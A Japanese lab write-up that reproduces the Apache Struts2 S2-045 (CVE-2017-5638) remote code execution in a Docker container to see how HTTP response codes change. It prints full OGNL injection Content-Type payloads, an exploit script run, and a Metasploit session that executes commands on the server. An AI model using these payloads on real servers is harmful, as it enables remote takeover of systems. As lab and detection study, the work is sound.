S2-045エクスプロイト検証

1. 目的
---
Webアプリケーションを狙った攻撃において、exploitコードにより、HTTPのレスポンスコードがどのように変化するのか確かめる。

2. 環境構築
---
お手軽なDockerコンテナを利用し、検証します。

```sh
# ホスト側
docker pull piesecurity/apache-struts2-cve-2017-5638
docker run -p 8080:8080 -it <Container ID> /bin/bash
# コンテナ側
cd /usr/local/tomcat/bin
./startup.sh
tail -f /usr/local/tomcat/logs/localhost_access_log.2018-05-02.txt 
```

3. 検証の実施
---
今回は2種類のexploitコードを利用する。
1つはnixawkが公開している方法、もう一つはmetasploitを利用する方法である。

## nixawkの方法
[exploitツール](https://github.com/nixawk/labs/tree/master/CVE-2017-5638)をダウンロードし、実行してみる

```sh
git clone https://github.com/nixawk/labs/tree/master/CVE-2017-5638
cd labs/CVE-2017-5638
python exploit-urllib2.py http://localhost:8080 "whoami"
[*] CVE: 2017-5638 - Apache Struts2 S2-045
[*] cmd: whoami

root

# アクセスログ
172.17.0.1 - - [02/May/2018:05:46:42 +0000] "GET / HTTP/1.1" 500 10
```

また、HTTPのリクエストヘッダは以下のようになっていた

```
GET / HTTP/1.1
Accept-Encoding: identity
Host: localhost:8080
Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='pwd').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
Connection: close
User-Agent: Mozilla/5.0
```

##metasploitを利用する方法
今回はセッション維持は行わない

```sh
msf > search cve-2017-5638

Matching Modules
================

   Name                                          Disclosure Date  Rank       Description
   ----                                          ---------------  ----       -----------
   exploit/multi/http/struts2_content_type_ognl  2017-03-07       excellent  Apache Struts Jakarta Multipart Parser OGNL Injection


msf > use exploit/multi/http/struts2_content_type_ognl 
msf exploit(multi/http/struts2_content_type_ognl) > show options

Module options (exploit/multi/http/struts2_content_type_ognl):

   Name       Current Setting     Required  Description
   ----       ---------------     --------  -----------
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST                          yes       The target address
   RPORT      8080                yes       The target port (TCP)
   SSL        false               no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /struts2-showcase/  yes       The path to a struts application action
   VHOST                          no        HTTP server virtual host


Exploit target:

   Id  Name
   --  ----
   0   Universal


msf exploit(multi/http/struts2_content_type_ognl) > set RHOST 192.168.xxx.xxx
RHOST => 192.168.xxx.xxx
msf exploit(multi/http/struts2_content_type_ognl) > set TARGETURI /showcase.action
TARGETURI => /showcase.action

msf exploit(multi/http/struts2_content_type_ognl) > set payload cmd/unix/generic
payload => cmd/unix/generic
msf exploit(multi/http/struts2_content_type_ognl) > show options

Module options (exploit/multi/http/struts2_content_type_ognl):

   Name       Current Setting   Required  Description
   ----       ---------------   --------  -----------
   Proxies                      no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST      192.168.xxx.xxx     yes       The target address
   RPORT      8080              yes       The target port (TCP)
   SSL        false             no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /showcase.action  yes       The path to a struts application action
   VHOST                        no        HTTP server virtual host


Payload options (cmd/unix/generic):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------
   CMD                    yes       The command string to execute


Exploit target:

   Id  Name
   --  ----
   0   Universal


msf exploit(multi/http/struts2_content_type_ognl) > set CMD "touch /tmp/hacked"
CMD => touch /tmp/hacked
msf exploit(multi/http/struts2_content_type_ognl) > show options

Module options (exploit/multi/http/struts2_content_type_ognl):

   Name       Current Setting   Required  Description
   ----       ---------------   --------  -----------
   Proxies                      no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST      192.168.xxx.xxx     yes       The target address
   RPORT      8080              yes       The target port (TCP)
   SSL        false             no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /showcase.action  yes       The path to a struts application action
   VHOST                        no        HTTP server virtual host

Payload options (cmd/unix/generic):

   Name  Current Setting     Required  Description
   ----  ---------------     --------  -----------
   CMD   touch /tmp/hacked2  yes       The command string to executeexecute


Exploit target:

   Id  Name
   --  ----
   0   Universal

msf exploit(multi/http/struts2_content_type_ognl) > run
[*] Exploit completed, but no session was created.

# アクセスログ
172.17.0.1 - - [02/May/2018:06:05:55 +0000] "GET /showcase.action HTTP/1.1" 200 11834
```

また、パケットは以下の通り

```sh
GET /showcase.action HTTP/1.1
Host: 192.168.xxx.xxx:8080
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=@org.apache.struts2.ServletActionContext@getRequest().getHeader('X-pQFk')).(#os=@java.lang.System@getProperty('os.name')).(#cmds=(#os.toLowerCase().contains('win')?{'cmd.exe','/c',#cmd}:{'/bin/sh','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start())}
X-pQFk: touch /tmp/hacked2
Content-Type: application/x-www-form-urlencoded
```

3.検証結果
---
ツールにより、レスポンスコードが200と500別れてしまった。
別れる原因は力不足により分析することができなかったが、500をサーバーが返している時点でexploitされている発見契機にすることが可能ということがわかった。

また、500の意味は以下の通り（RFC7231より）

>The 500 (Internal Server Error) status code indicates that the server encountered an unexpected condition that prevented it from fulfilling the request.
>>500（内部サーバーエラー）ステータスコードは、サーバーが要求を実行できなかった予期しない条件に遭遇したことを示します。（google翻訳より）